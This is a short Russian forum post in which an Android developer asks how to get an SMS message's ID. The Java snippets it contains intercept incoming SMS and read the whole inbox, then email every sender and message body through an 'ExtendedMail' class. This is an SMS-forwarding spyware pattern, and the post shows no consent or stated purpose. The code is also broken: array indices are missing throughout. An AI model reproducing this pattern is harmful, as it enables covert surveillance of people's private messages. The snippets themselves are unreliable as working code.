Есть куски кода рабочие
//---извлечь полученное SMS ---
Object[] pdus = (Object[]) bundle.get("pdus");
msgs = new SmsMessage[pdus.length];
for (int i=0; i < msgs.length; i++){
msgs = SmsMessage.createFromPdu((byte[])pdus);
str = "SMS from " + msgs.getOriginatingAddress();
str += " :";
str += msgs.getMessageBody().toString();
str += "\n";
t = new ExtendedMail();
t.Send(str); }
Здесь адрес, текст получается, а как получить id sms (ид смс целиком, а не его частей)
и аналогично для куска кода который перебирает все смс:
Uri uriSms = Uri.parse("content://sms/inbox");
Cursor c = context.getContentResolver().query(uriSms, null, null, null, null);
while (c.moveToNext()) {
String body = c.getString(c.getColumnIndex("body"));
long data = c.getLong (c.getColumnIndex("date"));
String address = c.getString(c.getColumnIndex("address"));
t = new ExtendedMail();
t.Send(address + " hys " + body);
}
c.close();
тоже вопрос как id получить, помогите плз.